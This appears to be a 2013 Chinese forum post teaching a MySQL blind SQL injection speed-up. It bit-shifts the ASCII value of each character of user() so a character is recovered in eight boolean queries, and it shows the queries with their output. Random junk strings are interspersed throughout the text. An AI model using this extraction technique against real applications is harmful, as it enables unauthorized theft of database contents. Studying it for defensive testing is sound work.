找回密码
 立即注册
查看: 2408|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位% w9 t9 e5 V' t. z0 W9 z
, Z: B- N! h6 O
  A+ A3 K0 {4 G. Y# j7 x; _; m1 c

3 w% J& ?+ ]+ Q& O" k! w& Y下面将以查询mysql数据库当中user()的第一位为例:
5 v$ e& w2 y8 U4 y, h# ~! W( x2 }7 M# B, ^/ d3 l7 p9 X

0 Q' l  O0 y9 g6 g8 G/ g3 G2 S" @( A
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1). }- v3 C, c$ Y" o9 {
- W, ^3 K  k* ^9 n( |; w: }! T

! t: |1 N% y! k/ P: g& I8 j
+ n1 {( |" j$ n8 X) [* T; {首先执行如下sql语句:" B, ?$ f8 ^( r  R* ^/ q, v
; i3 Z# s8 u9 O2 p# Z: C4 T* W" g7 [6 `
3 j; U: R9 u8 Y0 h% `( \# y
  b* O# f6 g* _& K/ T- N- l
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;/ V9 Q2 l4 O9 L
/ D& k/ d" T/ h! l

8 W0 g. u. ]- h2 K. Q
/ E6 ~- F+ F, k3 P( c; k$ o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的: `# F9 V; J) n6 Q% K! s& b, {" l

  D& k$ R+ @1 _* ~  `- b; G' B   A2 J4 i: w: V3 m( I

% t  \$ l) j# q/ R- S3 s3 }第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 P1 w$ F" c) ?8 M5 s
, }! V; G& o/ `8 g. n5 \$ l 8 D2 S# f4 c4 ?7 \/ }: [) ]

' |- ?+ i/ H9 w如果运算结果为1,说明第一位为0,不为1
& X& y) U" g" U; Y+ ~! p' ]: |- P  x9 {  W* A
" ?6 ^- o5 x/ A% m+ o# ]7 ]

  X  l3 P) T" s1 i/ F+————————————–+
& x! t* u. y8 p+ X) H2 y% X, V
; |) O" Z$ [  q* z! E| (ascii((substr(user(),1,1))) >> 7)=0 |
1 B9 L  K' S6 F/ F0 {) a3 e+ E* V' x# J2 w
+————————————–+
- F5 h% H; C8 V5 c5 f- u6 k5 f% k
| 1 |! |9 i+ y- {1 H
$ b# J' T" W/ O% L" ^
+————————————–+
! l3 R" c" D  x: @+ B0 N
0 s6 i$ g. _3 X3 N7 D7 k1 v1 row in set (0.00 sec): j) C: w6 _( k

, f6 f* q4 }% ?. j+ G0 x这样我们就确定这个8bit的ascii的第一位为0
- K1 y. g6 l6 y. S" J4 D) A) f8 n. O) Y% \
  V: R$ Z0 e  A5 S, Q7 c# C

6 N7 g  ]4 v' M8 Y! C第二次我们来做6次右偏移来确定前两位8 S9 z) y' D  I  p, Z6 D

* G- t# `' }  p" o9 u! f & [7 H! O% p+ b+ K% Y
. h! H4 n1 W! n  T4 k
前两位可能是01或00,即依然可以与0做比较,4 [" ?$ s9 }" s9 H

7 y/ y. i  `: L, @' Ymysql> select (ascii((substr(user(),1,1))) >> 6)=0;
; S! M5 o8 D% h% `8 K
) m( s/ d2 x( w/ c$ a; Y+————————————–+
$ F$ p3 J; }; d, \  _1 v0 N2 x4 \+ c+ T$ W& N% k5 a& r4 G
| (ascii((substr(user(),1,1))) >> 6)=0 |
0 C6 ~$ n/ D2 g2 \* t  Y9 d& T4 k
+————————————–+
. G" e' n: \! k. b; R
9 c  F5 {0 l- w  a5 o| 0 |6 Z; U: m! b* N. V9 Y
/ a" t% m# }- R" V
+————————————–+, P, g% ~9 n+ m) d5 Q
% U1 N# P) F9 K6 A4 f* P
1 row in set (0.00 sec)
# r. r. ~, k% w+ B2 [' M! _$ v3 T, O% p3 j, [/ X1 J; g8 t
! O3 _# L+ V* R$ }! x
2 \1 p9 d; ^5 t% w' G
结果为0,即第二位为1# w' j8 [& `7 X3 a0 `& _2 y

! @) w* u- W' e + ?0 l& {! M6 F( w/ f( |8 c

1 |6 b$ ]- e1 S0 m$ F开始猜测前三位为010或011
0 {, e3 n. c& [; t1 L9 y
6 g) K) f8 h; F, h
; n, U, ~2 b6 _" P- s& e. G* Y, o4 y$ n4 F; Z  @8 e
让我们看看010和011的ascii码是多少# {- o' L3 u& D9 x" I
; s$ b% U/ n! G4 w5 |( ^3 O

% g7 t( Q8 H5 e' A- ^& v$ G
* \. m! m: q0 C+ H" j分别查询select b’011′ select b’010′
' I2 }; w3 V/ s) H( g6 a- G& U, x5 n3 t& ~' |2 o) M' G
% ?3 N7 V! k% L, p+ j% ~

4 I& Q+ L7 H1 x. T# a获得结果 010 = 2 011 = 3
; Q5 y- p! A1 g: i' f. l- n, P9 T; s6 d8 }" h3 u( ^4 p4 ^  a
( c6 H4 a  z$ D* w" s

- B- K6 t& i" \执行如下sql:$ @* Q0 V% A. a, E

  |+ H5 C1 \  b  b) ?# G( a* y
; k* ?, F' d' _6 ~) H% w7 c5 k8 w8 L& l( E2 w4 s/ M# X/ W
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;( A. L3 X: G% f1 A8 d

- b- D' ^2 F) `3 Q9 y" V4 m+————————————–+) S/ J3 N7 f& J8 L
7 K' K1 @- ]8 h4 u7 S! V8 X7 k5 g
| (ascii((substr(user(),1,1))) >> 5)=2 |
0 d& P; }& t; G5 ^/ T- h2 u/ o0 N2 C$ {! q' q& y
+————————————–+
! w& ]- l" O3 o' V# U
* \! v0 |, n/ Y+ |6 t2 r0 [| 0 |& _0 ]3 t* V$ v, u( B7 E! r
4 C) z& p6 g) g! A9 \0 x* R
+————————————–+
4 B' W( b  \, p2 |7 P& p
0 ~; L; Y$ C* ?% v即前三位不为010,而是011
1 G% q. T: r. O; d0 d7 b3 A$ u9 M" S" j) B; d
4 z5 ~& h- o4 `) H

+ V7 n8 u) n9 |) ?直到获得最后一位  N. z/ H+ r% U. h
4 u! S0 [9 C  W/ \# c
$ B" Q3 z( Y2 X+ @; t
3 ^3 Z0 b  X9 H) E5 V' {8 S
最终结果为:01110010
+ l, J8 X% N  T+ }! d: O. n  q  E4 i" W4 j/ [- h" I4 @
* Y" C- P6 x. y9 k. O7 B4 ^5 d
1 Y5 B  C: v/ O8 U! N+ Z
转换一下:, ]  p: d3 C* p# {5 b8 `
3 ~! C( Q% X2 ~% T, h
. P) u5 x! p/ M( c: ?, f
7 K0 M7 E0 V7 k/ I  s2 }
select b’01110010′% c# W. `! ?" J8 t2 M

& W$ B" ?% Y( T4 c 8 q2 i8 m$ _' n; {
/ s9 Q( W8 r  a  ~; g5 M
查询结果
( t% {2 v4 |6 p2 @; K3 ]* y3 e
& k& e  P7 j( }/ ?( P4 p6 J
- B; h  H: F% {9 R% x6 G4 O* ~0 O' y. S' G8 V1 ^3 d6 \
+————-+
. I# Y% ~$ ?1 l1 v" D) e# }7 {8 a* ~  D9 Z! l# }' d
| b’01110010′ |! i2 d, I( e1 M6 x

6 C( M; {* ^4 X% k+ p3 l. @+————-+: I" T2 d" K; @
0 d6 f7 V& N. V9 y8 X
| r |+ N3 d* L* F  M8 h0 l. N
# _+ Y# ^+ Z- |3 l
+————-+
# A' B5 H) Q- I. r" n3 `. D" i# R/ M3 _: S
1 row in set (0.00 sec): G' D; X! t# J* h% ?

; s1 _2 C& o$ M8 c( }9 s% J
6 c+ m3 ]4 F% V# d) C% d+ D, e  U
* l6 e( x4 T" c! B4 s. F这样我们就获得了user()的第一位.其它位依此类推
: F& ?% n. K3 @+ B0 {
+ ]' m: I- Z; L5 z( N# E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表